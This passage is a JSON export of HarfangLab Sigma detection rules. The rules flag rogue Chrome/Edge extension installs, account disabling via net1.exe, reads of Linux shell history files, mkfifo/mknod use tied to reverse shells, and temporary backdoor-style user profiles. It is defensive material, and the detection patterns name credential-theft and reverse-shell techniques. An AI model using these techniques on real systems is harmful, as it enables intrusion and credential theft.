+  "name": "t1176_chrome_extension_install.yml",
+  "content": "title: Suspicious Chrome-based Browser Extension Installed\nid: 0f4fc753-a19b-44c4-aa32-f0c68a01a0ef\ndescription: |\n    Detects the installation of an extension in the Chrome or Edge folder by an uncommon process based on the creation of the manifest.json file.\n    Every extension must have a manifest.json file in its root directory that lists important information about the structure and behavior of that extension.\n    Adversaries may manually install an extension in the browser folder for malicious purposes such as stealing credentials or injecting ads.\n    It is recommended to check if the process at the origin of the manifest.json file creation has legitimate reason to do it and if the new extension is legitimate.\nreferences:\n    - https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/\n    - https://attack.mitre.org/techniques/T1176/\ndate: 2024/10/09\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1176\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: windows\ndetection:\n    selection_event:\n        Kind:\n            - 'create'\n            - 'rename'\n    selection_path:\n        - Path:\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Edge*\\User Data\\\\*\\Extensions\\\\*\\manifest.json'\n            - '?:\\Users\\\\*\\AppData\\Local\\Google\\Chrome*\\User Data\\\\*\\Extensions\\\\*\\manifest.json'\n        - TargetPath:\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Edge*\\User Data\\\\*\\Extensions\\\\*\\manifest.json'\n            - '?:\\Users\\\\*\\AppData\\Local\\Google\\Chrome*\\User Data\\\\*\\Extensions\\\\*\\manifest.json'\n\n    exclusion_chrome:\n        ProcessOriginalFileName: 'chrome.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Google Inc'\n            - 'Google LLC'\n\n    exclusion_edge:\n        Image:\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Edge SxS\\Application\\msedge.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_system:\n        ProcessName: 'system'\n        ProcessId: '4'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\Program Files\\Windows Defender\\MsMpEng.exe'\n        ProcessSignature : 'Microsoft Windows Publisher'\n        ProcessSigned: 'true'\n\n    exclusion_tiworker:\n        Image: '?:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_svchost:\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s ProfSvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService*'\n            - '?:\\Windows\\System32\\svchost.exe -k secsvcs'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs -p -s SessionEnv'\n            - '?:\\windows\\system32\\svchost.exe -k netsvcs -s ProfSvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs'\n        ProcessImage: '?:\\Windows\\system32\\svchost.exe'\n\n    exclusion_loadstate:\n        ProcessSigned: 'true'\n        ProcessSignature : 'Microsoft Corporation'\n        ProcessName: 'LoadState.exe'\n\n    exclusion_copy:\n        ProcessSigned: 'true'\n        ProcessSignature : 'Microsoft Windows'\n        ProcessImage:\n            - '?:\\Windows\\System32\\xcopy.exe'\n            - '?:\\Windows\\System32\\Robocopy.exe'\n            - '?:\\Windows\\syswow64\\Robocopy.exe'\n\n    exclusion_oobe:\n        ProcessParentImage: '?:\\Windows\\System32\\oobe\\Setup.exe'\n        ProcessCommandLine: '?:\\WINDOWS\\SYSTEM32\\RUNDLL32.EXE shsetup.dll,SHUnattendedSetup specialize'\n\n    exclusion_explorer:\n        Image: '?:\\Windows\\explorer.exe'\n\n    exclusion_dllhost:\n        ProcessImage: '?:\\Windows\\System32\\dllhost.exe'\n        ProcessCommandLine: '?:\\windows\\system32\\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}'\n\n    exclusion_transwiz:\n        ProcessName: 'Transwiz.exe'\n        ProcessSigned: 'true'\n        ProcessSignature : 'ForensiT Limited'\n\n    exclusion_veeam:\n        ProcessName: 'VeeamGuestHelper.exe'\n        ProcessSigned: 'true'\n        ProcessSignature : 'Veeam Software Group GmbH'\n\n    # File History Service\n    exclusion_fhsvc:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc'\n\n    exclusion_autobackup:\n        ProcessOriginalFileName: 'AutoBackup7Pro.exe'\n        ProcessSigned: 'true'\n        ProcessSignature : 'Fabrice PARISOT'\n\n    exclusion_migwiz:\n        ProcessOriginalFileName: 'migwiz.exe'\n        ProcessDescription: 'Windows Easy Transfer Application'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0f4fc753-a19b-44c4-aa32-f0c68a01a0ef",
+  "rule_name": "Suspicious Chrome-based Browser Extension Installed",
+  "rule_description": "Detects the installation of an extension in the Chrome or Edge folder by an uncommon process based on the creation of the manifest.json file.\nEvery extension must have a manifest.json file in its root directory that lists important information about the structure and behavior of that extension.\nAdversaries may manually install an extension in the browser folder for malicious purposes such as stealing credentials or injecting ads.\nIt is recommended to check if the process at the origin of the manifest.json file creation has legitimate reason to do it and if the new extension is legitimate.\n",
+  "rule_creation_date": "2024-10-09",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1176"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0faba2f2-3820-425b-9718-42eaa1fcb204",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074150Z",
+  "creation_date": "2026-03-23T11:45:34.074152Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074156Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1531/"
+  ],
+  "name": "t1564_net_disable_account.yml",
+  "content": "title: User Account Disabled via net.exe\nid: 0faba2f2-3820-425b-9718-42eaa1fcb204\ndescription: |\n    Detects a user account being disabled via net1.exe.\n    Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\n    Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n    It is recommended to analyze the process responsible for the call to net.exe to determine whether this action has legitimate intent.\nreferences:\n    - https://attack.mitre.org/techniques/T1531/\ndate: 2021/03/15\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1531\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.AccountManipulation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_net:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n\n    selection_user:\n        CommandLine|contains: 'user'\n\n    selection_disable:\n        CommandLine|contains:\n            - '/ACTIVE:NO'\n            - '\\ACTIVE:NO'\n\n    condition: all of selection_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0faba2f2-3820-425b-9718-42eaa1fcb204",
+  "rule_name": "User Account Disabled via net.exe",
+  "rule_description": "Detects a user account being disabled via net1.exe.\nAdversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\nAccounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\nIt is recommended to analyze the process responsible for the call to net.exe to determine whether this action has legitimate intent.\n",
+  "rule_creation_date": "2021-03-15",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1531"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0fc4c3c8-8e84-4478-998f-09de36df227c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622169Z",
+  "creation_date": "2026-03-23T11:45:34.622171Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622176Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1552/003/"
+  ],
+  "name": "t1552_003_shell_history_read_linux.yml",
+  "content": "title: Shell History File Read (Linux)\nid: 0fc4c3c8-8e84-4478-998f-09de36df227c\ndescription: |\n    Detects an attempt to read any of the common shell history files.\n    These files contains the most recent commands executed by the user and can be used by an attacker to look for unsecured credentials.\n    It is recommended to analyze the process responsible for reading the files and to determine whether this access is legitimate.\n    It can be interesting to download the shell history file to determine if attackers had access to sensitive materials.\nreferences:\n    - https://attack.mitre.org/techniques/T1552/003/\ndate: 2022/11/15\nmodified: 2026/01/21\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.003\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.CredentialAccess\n    - classification.Linux.Behavior.SensitiveInformation\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_file:\n        - Path|endswith:\n            - '.history'\n            - '.ash_history'\n            - '.bash_history'\n            - '.tcsh_history'\n            - '.sh_history'\n            - '.zsh_history'\n            - 'fish_history'\n        - TargetPath:\n            - '.history'\n            - '.ash_history'\n            - '.bash_history'\n            - '.tcsh_history'\n            - '.sh_history'\n            - '.zsh_history'\n            - 'fish_history'\n\n    selection_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n        ProcessParentImage|contains: '?'\n\n    exclusion_shell:\n        ProcessImage|endswith:\n            - '/ash'\n            - '/bash'\n            - '/busybox'\n            - '/dash'\n            - '/fish'\n            - '/sh'\n            - '/tcsh'\n            - '/zsh'\n\n    exclusion_desktop_apps_and_daemons:\n        ProcessImage|endswith:\n            - '/nautilus'\n            - '/eog'\n            - '/gedit'\n            - '/dolphin'\n            - '/librewolf'\n            - '/firefox'\n            - '/chrome'\n            - '/code'\n            - '/codium'\n            - '/sublime_text'\n            - '/thunar'\n            - '/slack'\n            - '/file-roller'\n            - '/thunderbird' # /usr/lib/thunderbird/thunderbird\n            - '/thunderbird-bin' # /usr/lib/thunderbird/thunderbird-bin\n            - '/@joplinapp-desktop'\n            - '/gjs-console'\n            - '/nemo'\n            - '/bacula-fd'\n            - '/xdg-desktop-portal-*'\n            - '/tracker-miner-fs-3'\n\n    exclusion_plasma:\n        ProcessParentImage|endswith: '/usr/bin/plasmashell'\n\n    exclusion_process:\n        - ProcessImage:\n            - '/opt/eset/*'\n            - '/usr/bin/clamscan'\n            - '/usr/bin/com.github.phase1geo.minder'\n            - '/opt/microfocus/Discovery/.discagnt/udscan'\n            - '/opt/McAfee/ens/tp/bin/mfetpd'\n            - '/usr/lib/libreoffice/program/soffice.bin'\n            - '/opt/ds_agent/ds_am'\n            - '/usr/lib/virtualbox/VirtualBox'\n            - '*/VirtualBoxVM'\n            - '/opt/commvault/iDataAgent64/clBackup'\n            - '/opt/commvault2/iDataAgent64/clBackup'\n            - '/usr/lib/systemd/systemd-readahead'\n            - '/usr/bin/flameshot'\n            - '/usr/sbin/bacula-fd'\n            - '/opt/bacula/bin/bacula-fd'\n            - '/var/ossec/bin/wazuh-syscheckd'\n            - '/usr/sbin/smbd'\n            - '/usr/bin/rsync'\n            - '/usr/bin/proxmox-backup-client'\n            - '/opt/signal/signal-desktop'\n            - '/opt/bitdefender-security-tools/bin/bdsecd'\n            - '/opt/sophos-av/engine/_/savscand.?'\n            - '/snap/obsidian/*/obsidian'\n            - '/opt/elastic/agent/data/elastic-agent-*/components/osqueryd'\n            - '/usr/share/teams/teams'\n            - '/opt/teams-for-linux/teams-for-linux'\n            - '/snap/teams-for-linux/*/teams-for-linux'\n            - '/usr/sbin/libvirtd'\n            - '/opt/zotero_linux/zotero-bin'\n            - '/opt/microsoft/mdatp/sbin/wdavdaemon'\n            - '/usr/lib/firefox-esr/firefox-esr'\n            - '/usr/lib/firefox/firefox-bin'\n            - '/usr/openv/netbackup/bin/bpbkar'\n            - '/opt/rocket.chat/rocketchat-desktop'\n            - '/usr/bin/inkscape'\n            - '/usr/bin/xfce4-panel'\n            - '/usr/bin/caja'\n            - '/usr/lib/zotero/zotero-bin'\n            - '/usr/bin/hstr'\n            - '/usr/bin/aide'\n            - '/usr/lib/mongodb-compass/mongodb compass'\n            - '/usr/bin/cpio'\n            - '/opt/omni/lbin/vbda'\n            - '/usr/bin/geany'\n            - '/usr/bin/okular'\n            - '/usr/local/avamar/bin/avtar.bin'\n            - '/usr/bin/xfdesktop'\n            - '/opt/elastic/agent/data/elastic-agent-*/components/agentbeat'\n            - '/bin/grep'\n            - '/usr/bin/grep'\n            - '/nix/store/*-zen-browser-*/lib/zen-*/zen'\n        - ProcessCommandLine:\n            - '/opt/cybereason/sensor/bin/cbram'\n            - '/tina/atempodedupengine/default/bin/.exe.ade_server'\n            - '/tina/atempowebinterfaces/*'\n            - '/tina/timenavigator/tina/*'\n            - '/usr/atempo/timenavigator/tina/3rdparty/*'\n            - '/usr/atempo/timenavigator/tina/bin/*'\n            - '/usr/tina/bin/*'\n            - '/usr/tina/timenavigator/tina/bin/*'\n            - '/var/hote/timenavigator/tina/3rdparty/*'\n            - '/var/hote/timenavigator/tina/bin/*'\n            - '/opt/atempo/hn/bin/hnagent'\n            - '/usr/bin/python3 /usr/bin/nagstamon'\n\n    exclusion_pycharm:\n        ProcessImage: '/opt/pycharm-professional/jbr/bin/java'\n        ProcessCommandLine|contains: 'com.intellij.idea.main'\n\n    exclusion_fsecure:\n        - ProcessImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessParentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessGrandparentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n\n    exclusion_tanium:\n        ProcessAncestors|contains:\n            - '/opt/tanium/taniumclient/taniumclient'\n            - '/opt/tanium/taniumclient/taniumspawnhelper'\n            - '/opt/tanium/taniumclient/taniumcx'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0fc4c3c8-8e84-4478-998f-09de36df227c",
+  "rule_name": "Shell History File Read (Linux)",
+  "rule_description": "Detects an attempt to read any of the common shell history files.\nThese files contains the most recent commands executed by the user and can be used by an attacker to look for unsecured credentials.\nIt is recommended to analyze the process responsible for reading the files and to determine whether this access is legitimate.\nIt can be interesting to download the shell history file to determine if attackers had access to sensitive materials.\n",
+  "rule_creation_date": "2022-11-15",
+  "rule_modified_date": "2026-01-21",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0fd0b4f2-4170-4bb9-b4fa-6d26e78dce47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623164Z",
+  "creation_date": "2026-03-23T11:45:34.623166Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623170Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://linux.die.net/man/1/mkfifo",
+    "https://threatpost.com/mitel-voip-bug-exploited/180079/",
+    "https://attack.mitre.org/techniques/T1559/"
+  ],
+  "name": "t1559_fifo_file_created.yml",
+  "content": "title: FIFO File Created\nid: 0fd0b4f2-4170-4bb9-b4fa-6d26e78dce47\ndescription: |\n    Detects the execution of mkfifo or mknod.\n    Both utilities can be used to create a FIFO file, a special kind of file that can be processed by two process at the same time (one writing to it and the other one reading it).\n    Adversaries can create FIFO files in combination with openssl_client to create a reverse shell.\n    It is recommended to investigate the process that ran mkfifo/mknod and its execution context to determine if this action was legitimate.\nreferences:\n    - https://linux.die.net/man/1/mkfifo\n    - https://threatpost.com/mitel-voip-bug-exploited/180079/\n    - https://attack.mitre.org/techniques/T1559/\ndate: 2023/12/15\nmodified: 2026/01/23\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1559\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.RemoteShell\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_mkfifo:\n        # For new agents, we use the correlation rule (fc9663c5-b88d-487a-98b3-421c01431987).\n        AgentVersion|lt|version: 5.4.0\n        Image|endswith: '/mkfifo'\n\n    selection_mknod:\n        # For new agents, we use the correlation rule (fc9663c5-b88d-487a-98b3-421c01431987).\n        AgentVersion|lt|version: 5.4.0\n        Image|endswith: '/mknod'\n        CommandLine|endswith: ' p'\n\n    exclusion_bitdefender_install:\n        ParentImage: '/usr/bin/??sh'\n        ParentCommandLine|contains:\n            - '/installer'\n            - '/uninstall'\n            - '/opt/bitdefender-security-tools/bin/'\n        CurrentDirectory|contains: '/bitdefender'\n\n    exclusion_rt_sctemp:\n        # mkfifo rt_sctemp/ficsecuqlik_dataware.fifo\n        # mkfifo rt_sctemp/ventiv_salaries.fifo\n        CommandLine: 'mkfifo rt_sctemp/*.fifo'\n\n    exclusion_flowcell_dna:\n        CommandLine: 'mkfifo /dev/shm/nxf.*/.command.*'\n\n    exclusion_qubes:\n        ParentCommandLine|contains: '/usr/lib/qubes/qubes-rpc-multiplexer'\n\n    exclusion_gitstatus:\n        - CommandLine|contains: ' -- /tmp/gitstatus.'\n        - ParentCommandLine|contains: ' -- /tmp/gitstatus.'\n\n    exclusion_powerlevel10k:\n        - CommandLine|contains: ' -- /tmp/p10k.worker.'\n        - ParentCommandLine|contains: ' -- /tmp/p10k.worker.'\n\n    exclusion_dracut:\n        - CommandLine|startswith:\n            - 'mkfifo /var/tmp/dracut.'\n            - 'mkfifo /tmp/dracut.'\n        - ParentCommandLine|startswith:\n            - '/usr/bin/bash -p /bin/dracut'\n            - '/usr/bin/bash -p /usr/bin/dracut'\n\n    exclusion_hot_db_backup:\n        ParentCommandLine|startswith: '/bin/sh /*/oracle/scripts/hot_db_backup.sh '\n\n    exclusion_sqwmys_dumpdatabase:\n        ParentCommandLine|startswith: '/bin/ksh /*/sqwareproduction/mysql/bin/sqwmys_dumpdatabase.ksh '\n\n    exclusion_eset:\n        Ancestors|contains: '|/opt/eset/RemoteAdministrator/Agent/ERAAgent|'\n\n    exclusion_scality:\n        CommandLine: 'mkfifo /tmp/tmp.*/stdout /tmp/tmp.*/stderr'\n        ParentCommandLine: '/bin/bash /usr/bin/scality-backup'\n\n    exclusion_agent:\n        CommandLine|startswith: 'mkfifo /tmp/agent_linux_x86_64.sh.pipe.'\n\n    exclusion_qradar:\n        GrandparentCommandLine: '/opt/qradar/ca/bin/si-qradarca monitor -debug'\n\n    exclusion_code:\n        - ParentImage:\n            - '/snap/code/*/usr/share/code/code'\n            - '/usr/share/code/code'\n        - GrandparentImage:\n            - '/snap/code/*/usr/share/code/code'\n            - '/usr/share/code/code'\n\n    exclusion_codium:\n        ParentImage: '/usr/share/codium/codium'\n\n    exclusion_kamailio:\n        CommandLine|startswith: 'mkfifo /tmp/kamailio_'\n        ParentCommandLine|startswith: '/bin/sh /sbin/kamctl '\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|/opt/VRTSvcs/bin/Application/ApplicationAgent|'\n            - '|/opt/oneautomation/*/smgr/bin/ucybsmgr'\n            - '/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/sbin/crond|'\n\n    exclusion_tmux:\n        CommandLine:\n            - 'mkfifo /tmp/tmux_fzf_session_name'\n            - 'mkfifo /tmp/fzf-fifo?-*'\n            - 'mkfifo -m o+w /tmp/fzf-fifo?-*'\n        Ancestors|contains: '/usr/bin/tmux|'\n\n    exclusion_windsurf:\n        GrandparentImage: '/usr/share/windsurf/windsurf'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0fd0b4f2-4170-4bb9-b4fa-6d26e78dce47",
+  "rule_name": "FIFO File Created",
+  "rule_description": "Detects the execution of mkfifo or mknod.\nBoth utilities can be used to create a FIFO file, a special kind of file that can be processed by two process at the same time (one writing to it and the other one reading it).\nAdversaries can create FIFO files in combination with openssl_client to create a reverse shell.\nIt is recommended to investigate the process that ran mkfifo/mknod and its execution context to determine if this action was legitimate.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-01-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0fd65b55-ba18-4a16-86bb-19fdfaeb3e37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079326Z",
+  "creation_date": "2026-03-23T11:45:34.079328Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079332Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://answers.microsoft.com/en-us/windows/forum/all/windows-temporary-user-profile-temp-issue/5fbefc7c-0b82-4395-bfda-6d7e2ebeacc6",
+    "https://attack.mitre.org/techniques/T1136/001/",
+    "https://attack.mitre.org/techniques/T1070/004/"
+  ],
+  "name": "t1070_004_temporary_user_profile_creation.yml",
+  "content": "title: Temporary User Profile Created\nid: 0fd65b55-ba18-4a16-86bb-19fdfaeb3e37\ndescription: |\n    Detects the creation of a temporary user profile.\n    A temporary profile is created each time an error condition prevents the user profile from loading.\n    Temporary profiles are deleted at the end of each session, and changes made by the user to desktop settings and files are lost when the user logs off.\n    A temporary profile is created in \"C:\\Users\\TEMP\" instead of the standard user profile folder \"C:\\Users\\<username>\".\n    An attacker can create this kind of user profile as a backdoor account to erase their tracks automatically after a log off.\n    It is recommended to investigate the actions that this temporary user may have taken to determine whether this action was legitimate.\nreferences:\n    - https://answers.microsoft.com/en-us/windows/forum/all/windows-temporary-user-profile-temp-issue/5fbefc7c-0b82-4395-bfda-6d7e2ebeacc6\n    - https://attack.mitre.org/techniques/T1136/001/\n    - https://attack.mitre.org/techniques/T1070/004/\ndate: 2023/03/08\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1136.001\n    - attack.defense_evasion\n    - attack.t1070.004\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path: '?:\\Users\\TEMP\\NTUSER.DAT'\n\n    exclusion_microsoftsearchinbing:\n        Image: '?:\\Program Files (x86)\\Microsoft\\Microsoft Search in Bing\\MicrosoftSearchInBing.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_defender:\n        Image: '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_msiexec:\n        ProcessCommandLine:\n            - '?:\\Windows\\syswow64\\MsiExec.exe -Embedding ???????????????????????????????? E Global\\MSI0000'\n            - '?:\\Windows\\System32\\MsiExec.exe -Embedding ???????????????????????????????? E Global\\MSI0000'\n        ProcessParentCommandLine: '?:\\Windows\\system32\\msiexec.exe /V'\n        ProcessGrandparentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_symantec:\n        ProcessImage|startswith: '?:\\Program Files\\Symantec\\Symantec Endpoint Protection\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0fd65b55-ba18-4a16-86bb-19fdfaeb3e37",
+  "rule_name": "Temporary User Profile Created",
+  "rule_description": "Detects the creation of a temporary user profile.\nA temporary profile is created each time an error condition prevents the user profile from loading.\nTemporary profiles are deleted at the end of each session, and changes made by the user to desktop settings and files are lost when the user logs off.\nA temporary profile is created in \"C:\\Users\\TEMP\" instead of the standard user profile folder \"C:\\Users\\<username>\".\nAn attacker can create this kind of user profile as a backdoor account to erase their tracks automatically after a log off.\nIt is recommended to investigate the actions that this temporary user may have taken to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2023-03-08",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.004",
+    "attack.t1136.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "10614140-6f5c-442a-b818-e7f6202dc54a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
